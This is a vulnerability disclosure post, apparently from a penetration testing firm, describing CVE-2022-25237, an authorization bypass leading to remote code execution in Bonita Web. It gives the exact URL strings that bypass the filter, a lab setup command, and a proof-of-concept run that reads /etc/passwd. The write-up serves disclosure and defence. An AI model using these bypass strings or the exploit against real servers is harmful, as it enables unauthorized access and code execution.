CVE-2022-25237: Bonitasoft Authorization Bypass and RCE

David Yesland

Vulnerability Overview

Affected Product

Bonita Web 2021.2 is affected by an authentication/authorization bypass vulnerability due to an overly broad filter pattern used in the API authorization filters.

By appending a crafted string to the API URL, users with no privileges can access privileged API endpoints. This can lead to remote code execution by abusing the privileged API actions to deploy malicious code onto the server.

Vendor: Bonitasoft
Product: Bonita Platform
Confirmed Vulnerable Version: < 2022.1-u0
Fixed Versions:
For community:

- 2022.1-u0 (7.14.0)

For subscription:

- 2021.1-u0 (7.14.0)
- 2021.2-u4 (7.13.4)
- 2021.1-0307 (7.12.11)
- 7.11.7

Vulnerable Versions: Official Docker image (https://hub.docker.com/_/bonita)

What is Bonitasoft

Bonitasoft has 5M+ downloads from Dockerhub, it is a business automation platform allowing to more easily build, deploy and manage automation applications in business processes.

From the vendor's website:

Bonita is an open-source and extensible platform for business process automation and optimization. Bonita Platform accelerates the development, go-to-production, and maintenance of automation projects. While allowing users to execute tasks that impact their business data, it also efficiently integrates with existing information systems and orchestrates heterogeneous systems, some of them being soft robots.
It provides deep visibility of process execution across the organization through its embedded end-user applications or the Living applications built by the project team to perfectly fit the business needs.

Technical Vulnerability Details

The web.xml file for a Tomcat Java application defines the routes within the application. It also can define how the authentication and authorization of routes in the application are handled. It is always one of the first places to look for potential authentication and authorization bypasses. Specifically, the "filters" defined in the web.xml can often be fruitful as they can determine what should or should not be filtered with authorization to access a particular route.

The following authorization filters specify an excludePattern parameter of “i18ntranslation” and then pass the parameter to 2 different filter classes: RestAPIAuthorizationFilter, TokenValidatorFilter.

```
<!--Rest filter -->
<filter>
    <filter-name>RestAPIAuthorizationFilter</filter-name>
    <filter-class>org.bonitasoft.console.common.server.login.filter.RestAPIAuthorizationFilter</filter-class>
    <init-param>
        <param-name>excludePatterns</param-name>
        <param-value>i18ntranslation</param-value>
    </init-param>
</filter>
<filter>
    <filter-name>RestAPIAuthorizationFilterToolkit</filter-name>
    <filter-class>org.bonitasoft.console.common.server.login.filter.RestAPIAuthorizationFilter</filter-class>
    <init-param>
        <param-name>excludePatterns</param-name>
        <param-value>i18ntranslation</param-value>
    </init-param>
</filter>
<!- Token Filter -->
<filter>
    <filter-name>TokenGeneratorFilter</filter-name>
    <filter-class>org.bonitasoft.console.common.server.login.filter.TokenGeneratorFilter</filter-class>
</filter>
<!- Token Validator Filter -->
<filter>
    <filter-name>TokenValidatorFilter</filter-name>
    <filter-class>org.bonitasoft.console.common.server.login.filter.TokenValidatorFilter</filter-class>
    <init-param>
        <param-name>excludePatterns</param-name>
        <param-value>i18ntranslation,session</param-value>
    </init-param>
</filter>
```

Taking a look at these filters they both extend the AbstractAuthorizationFilter, which contains the doFilter method. Inside the doFilter method. A check using the “sessionIsNotNeeded” function is used, which will continue the application flow if it returns true.

```
51      @Override
52      public void doFilter(final ServletRequest request, final ServletResponse
53          //we need to use a MultiReadHttpServletRequest wrapper in order to b
54          MultiReadHttpServletRequest httpRequest = new MultiReadHttpServletRe
55          final HttpServletResponse httpResponse = (HttpServletResponse) respo
56          final String requestURL = httpRequest.getRequestURI();
57
58          if (sessionIsNotNeeded(requestURL, excludePatterns)) {
59              chain.doFilter(httpRequest, httpResponse);
60          } else if (checkValidCondition(httpRequest, httpResponse)) {
61              chain.doFilter(httpRequest, httpResponse);
```

The sessionIsNotNeeded function shown below checks for excludePatterns in URLs. If the URL contains this pattern in the path then the authorization filter is bypassed allowing access to the resource.

```
70      protected boolean sessionIsNotNeeded(final String requestURL, final String excludePatterns) {
71          boolean isMatched = false;
72          if (excludePatterns != null) {
73              final String[] patterns = excludePatterns.split(",");
74              for (int i = 0, size = patterns.length; i < size; i++) {
75                  if (requestURL.contains(patterns[i])) {
76                      isMatched = true;
77                      break;
78                  }
79              }
80          }
81          return isMatched;
82      }
```

As we saw in the web.xml, the pattern which is passed in this parameter is “i18ntranslation” This means if this string is anywhere in the URL path, it will allow authorization/authentication to be bypassed for the API endpoints.

Two values were found that work to accomplish this. Simply appending either “/i18ntranslation/../” or “;i18ntranslation” to the API URL will allow authorization to be bypassed.

Caveat: Although this technically allows a full authentication bypass, its not able to be exploited without a valid user session. The user doesn't need permissions, as long as they have a valid session token. In the case of a null session, the application will error out if it is unable to lookup values based on the session token, causing the bypass to fail.

Bonita Exploit Proof of Concept

To run the vulnerable version of Bonita, you can use the docker repository:

```
docker run –name CVE-2022-25237 -d -p 8080:8080 bonita:7.13.0
```

Log into http://localhost:8080/bonita (http://localhost:8080/bonita) and create a low privileged user in the "User" profile. We have published a PoC that achieves code execution on our CVE GitHub repository. (https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2022-25237)

```
rhino~/# python3 CVE-2022-25237.py test test http://localhost:8080/bonita "cat /etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
bonita:x:1000:1000:Bonita User:/opt/bonita/:/sbin/nologin
```

Conclusion

Disclosure Timeline

This is a good reminder that when using matching patterns and regular expressions to implement security controls it is important to always be as strict as possible with those patterns and thoroughly test them to look for unintended behavior.

We also want to thank the Bonitasoft team for working with us on getting this patched in a timely manner. As always, feel free to follow us on Twitter for more releases and blog posts: @RhinoSecurity (https://twitter.com/RhinoSecurity), @daveysec (https://twitter.com/daveysec)

2/18/2022	Reported to Bonitasoft
2/21/2022	Bonitsoft requested clarification on the PoC
2/23/2022	Rhino sent a corrected payload for the PoC
3/14/2022	Bonitasoft shares update on patching and a workaround for the vulnerability
4/5/2022	Bonitasoft confirm fixes have been released for community and subscription versions

Related Resources

(https://rhinosecuritylabs.com/research/microweber-database-disclosure/)

CVE-2020-13405: MicroWeber Unauthenticated User Database Disclosure

(https://rhinosecuritylabs.com/research/java-deserializationusing-ysoserial/)

Java Deserialization Exploitation With Customized Ysoserial Payloads

(https://rhinosecuritylabs.com/research/fuzzing-left4dead-2-with-fuzzing-framework/)

Fuzzing Left4Dead 2 with CERT's

Disclosure Policy (https://rhinosecuritylabs.com/company/vulnerability-disclosure-policy/)

Penetration Testing FAQ (https://rhinosecuritylabs.com/assessment-services/penetration-testing-faq/)

Support: AWS Pentest Form (https://rhinosecuritylabs.com/assessment-services/support-aws-penetration-testing-form/)

Leadership (https://rhinosecuritylabs.com/company/leadership/)

Blog (https://rhinosecuritylabs.com/blog/)

Careers (https://rhinosecuritylabs.com/careers/)

Company Principles (https://rhinosecuritylabs.com/careers/rhino-company-principles/)

Contact Us (https://rhinosecuritylabs.com/contact/)

Get a Quote (https://rhinosecuritylabs.com/request-a-quote/)

RSS Feed (https://rhinosecuritylabs.com/blog/feed/)

ABOUT US

Rhino Security Labs is a top penetration testing and security assessment firm, with a focus on cloud pentesting (AWS, GCP, Azure), network pentesting, web application pentesting, and phishing.
With manual, deep-dive engagements, we identify security vulnerabilities which put clients at risk.

Endorsed by industry leaders, Rhino Security Labs is a trusted security advisor to the Fortune 500.

info@rhinosecuritylabs.com (mailto:info@rhinosecuritylabs.com)

(888) 944-8679 (tel:1-888-944-8679)

Rhino Security Labs, Inc